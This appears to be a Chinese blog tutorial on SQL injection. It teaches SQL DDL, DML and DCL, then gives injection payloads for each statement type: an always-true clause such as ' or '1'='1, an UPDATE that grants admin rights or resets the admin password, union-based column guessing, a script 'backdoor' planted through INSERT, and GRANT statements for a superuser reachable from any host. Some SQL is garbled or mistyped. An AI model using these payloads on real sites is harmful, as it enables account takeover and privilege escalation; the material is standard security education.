SQL注入——DML语言与常用注入逻辑(DDL,DML,DCL)

目录

1.DDL
2.DML
3.insert语句与注入逻辑
4.delete语句与注入逻辑
5.update语句与注入逻辑
6.select语句
7.select注入逻辑
8.记录联合与注入逻辑
9.DCL
SQL语言包括数据定义语言DDl,数据操作语言DML和数据控制语言DCL,这里一一简单介绍。

一. 什么是DDL?

DDL:数据定义语言(data Definition language)
功能:用于数据库、表、视图、函数、存储过程或者其它对象的创建、删除或者修改的操作。
包括:

  1. 创建 create
  2. 修改 alter
  3. 删除 drop

下面简单演示如何创建,修改,删除数据库和表。
CREATE语句:

创建和删除数据库:
Create database test1 default charset utf8;
Drop database test1;
创建删除表:
Create table test(uid int,uname varchar(32),password(32),email varchar(50));
Drop table test;

ALTER语句:

1.增加和删除字段:
 alter table users add column mobile bigint default 0;
 alter table users  drop column mobile ;
 
2.修改字段类型和长度:
 alter table users modify column uname varchar(100);
 
3.字段改名
 alter table users change uname username varchar(100);
 
4.调整字段顺序
 alter table users change uid uid int  first;
 alter table users change uname uname varchar(100) after uid;

5.修改表名
 alter table users rename emp;

二.什么是DML?

DML:数据操作语言(data manipulation language)
功能:主要是对表、视图等对象进行查询、插入、更新和删除操作
包括:

  1. SELECT 查询
  2. INSERT 插入
  3. UPDATE 更新
  4. DELETE 删除

三. INSERT语句基本使用与注入逻辑

1.INSERT基本使用

INSERT INTO users(uid,uname,password,isadmin) 
Values(1,’text1’,123456,1)

INSERT INTO users(uid,uname,password,isadmin) 
SELECT 1,’test1’,123456,1;

Insert into users set uid=2,uname=‘test2’;

2.INSERT语句报错逻辑

mysql> INSERT INTO users VALUES (‘1',’hxf’,’hxf123’,’hxftest’);
Query OK, 1 row affected, 1 warning (0.00 sec)

mysql> show warnings;
+---------+------+------------------------------------------------------+
| Level   | Code | Message                                              |
+---------+------+------------------------------------------------------+
| Warning | 1366 | Incorrect integer value: '' for column 'isadmin' at row 1 |
+---------+------+------------------------------------------------------+
1 row in set (0.00 sec)

3.INSERT留后门逻辑

Insert into users(uid,blog,password,isadmin) 
Values(1,<scripts javascript>cracker,GO,GO,GO</scripts>,123456,1)

用途:

  1. 可能被注入者利用,相当于病毒脚本,当打开网页时,如果处理程序并未屏蔽脚本的浏览器解析,那么就会跳出很多广告窗口,目的只是获得流量。
  2. 对于注入者可以放置数据库连接和通信的脚本,以便在适当的时候,select into outfile到web可访问的目录下,目标是通过http连接就可以直接访问数据库。

四.DELETE基本使用与注入逻辑

1.DELETE语句基本使用

(1)删除指定的用户
     DELETE FROM users where uname=‘test1’;
(2)删除所有记录
    DELETE FROM USERS;
(3)关联删除
     DELETE a,b FROM emp a,dept b where a.deptno=b.deptno and a.detpno=1
(4)注入删除
     DELETE FROM users where uname=‘test2’;
     DELETE FROM users where uname=‘ ’ or1=1;

五.UPDATE基础语句和注入逻辑

  1. update语句基础:
修改用户名为test1的密码为qwe123:
UPDATE users SET password='qwe123' where uname='test1';

修改所有用户名的密码为:qwe123
UPDATE users SET password='qwe123';
  1. update注入逻辑:
$sql=UPDATE users SET gold=gold+100000  WHERE uname=.'$uname';
正常传参:$name=qwe
结果:UPDATE users SET gold=gold+100000 where uname=‘qwe';


注入传参:$name= ' or '1'='1
结果:UPDATE game_user SET gold=gold+100000 where username=' ' or '1'='1';

  1. 更新个人资料与注入提权:
更新email正常传参:qwe@abc.com
结果:
Update user SET  email='[email protected]' Where uid='$uid'

注入传参:qwe@abc.com ', isadmin= ' 1
结果: Update user SET  email= ' [email protected] ', isadmin= ' 1' Where uname='$uname'
  1. post传参修改后台管理员密码逻辑:
正常传参: ' qwe123 '
结果:Update users SET password=MD5(' qwe123 ') Where  uname='$uname'


注入传参:qwe') Where uname='admin'# 
之后SQL语句变为:
Update users SET password=MD5('qwe123') Where uname='admin'#)'Where uname='$uname'

  1. URL传参修改后台管理员密码逻辑:
正常传参:id='123'
结果:Update users SET password=MD5('qwe123') Where  uid='$uid'


注入传参:' or uname='admin'
结果:Update user SET password=MD5('qwe123') Where uid='' or uname='admin'

六. SELECT基础语句

  1. SELECT和条件查询
    select 是强大而复杂的查询语句,深入掌握select查询,就相当于掌握了SQL注入的精髓。

    (1)如何查询用户表的所有记录
    SELECT * from users
    (2)条件查询
    SELECT * FROM users where uname=‘admin’ and password=‘abc123’;

  2. SELECT排序、限制和子查询

(1)排序和限制
正序     SELECT * FROM users order by uid
倒序     SELECT * FROM users order by uid desc 
按第三列排序     SELECT * FROM users order by 3
取前10SELECT * FROM users order by 3 limit 10

(2)子查询
     SELECT * FROM users where id in(SELECT uid FROM admin)

      SELECT * FROM users where exists(SELECT uid FROM admin)
  1. select连接查询
(1)左连接
     返回a表的所有记录和b表中与a表uid匹配的记录
      SELECT a.uname,b.mobile FROM game_user a left JOIN game_user_ext b 
       ON a.uid=b.uid

(2)右连接
    返回b表所有记录和a表中与b表uid匹配的记录
     SELECT a.uname,b.mobile FROM game_user a right JOIN game_user_ext b 
       ON a.uid=b.uid

(3)内连接
    返回a表uid与b表uid匹配,同时存在a表和b表的匹配记录
    SELECT a.uname,b.mobile FROM game_user a inner JOIN game_user_ext b 
    ON a.uid=b.uid

七 .SELECT注入逻辑

  1. 语法报错逻辑
  2. 猜处理字段数逻辑
  3. 空集逻辑
  4. 全集逻辑
    下面简单演示:
报错逻辑:
sql=SELECT *  FROM users where uname=.$uname;
正常传参:$uname=‘Michael’
结果: SELECT * FROM users where uname=‘Michael’;

注入测试传参:$uname=‘Michael’’
网页报错

猜测处理字段数逻辑:
$sql=SELECT *  FROM users where uname=.$uname;
正常传参:$uname=‘Michael’
结果: SELECT * FROM users where uname=‘Michael’;

注入测试传参:$uname=‘Michael’order by 1234...)
直至网页报错

空集逻辑:
$sql=SELECT *  FROM users where uname=.$uname;
正常传参:$uname=‘Michael’
结果: SELECT * FROM users where uname=‘Michael’;

注入测试传参:$uname=‘’or1=2
结果: SELECT * FROM users where uname=‘’or1=2;
网页不报错,但显示页面没有内容等

$sql=SELECT *  FROM users where uname=.$uname;
正常传参:$uname=‘Michael’
结果: SELECT * FROM users where uname=‘Michael’;

全集逻辑:
注入测试传参:$uname=‘’or1=1
结果: SELECT * FROM users where uname=‘’or1=1;
网页不报错,但显示页面正常或者页数更多等

八. 记录联合与注入逻辑

  1. 记录联合(union,union all)
SELECT * FROM users1
      UNION
     SELECT * FROM users2;


 SELECT * FROM users1
      UNION ALL
     SELECT * FROM users2;
  1. 记录联合与注入报错逻辑
$sql=SELECT uname,mobile,gold FROM users where uid=.$uid;
正常传参:$id=1
结果: SELECT uname,mobile,gold FROM users where uid=10003;


注入逻辑:第二部分字段数不相符,网页报错或者显示不正常。
                    第二部分字段数相符,网页显示正常。


逐个注入字段传参:$id=1   union select 1 
目标为猜测处理字段数目:
      SELECT uname,mobile,gold FROM users where id=1 
     UNION
     SELECT 1
ERROR 1222 (21000): The used SELECT statements have a different number of columns
  1. 记录联合与注入取代逻辑
$sql=SELECT uname,mobile,gold FROM users where uid=.$id;
正常传参:$id=1
结果: SELECT uname,mobile,gold FROM users where uid=1;


注入逻辑:0=9 的逻辑结果永远是假。

注入传参:$id=1  and 0=9 union select 1,2,3 
结果(取而代之逻辑)SELECT uname,mobile,gold FROM users where uid=1 and 0=9 
      UNION
     SELECT 123 

九. 什么是DCL?

  • DCL——数据控制语言
    主要是DBA来管理权限使用的。注入的目标是提升权限,或者授权一个具有较高权限的临时账户。
    1. 如何创建一个从任意IP登录的超级权限用户?
    2. 如何创建一个从指定权限的用户?
    3. 数据库提权。
授权:grant all privileges on *.* to admin@`%` identified by ‘abc’;

验证:mysql -h 192.168.233.128 -uadmin -pabc

授权:grant select,insert on *.* to admin2@`%` identified by ‘abc’;

验证:mysql -h 192.168.233.128 -uadmin2 -pabc
 操作:insert,select,update,delete

利用当前登录的管理员账号,对其它用户提权
提权备用账户:grant all privileges on *.* to admin2@`%` ;(提权)


发布了23 篇原创文章 · 获赞 14 · 访问量 705

猜你喜欢

转载自blog.csdn.net/weixin_45253216/article/details/104653637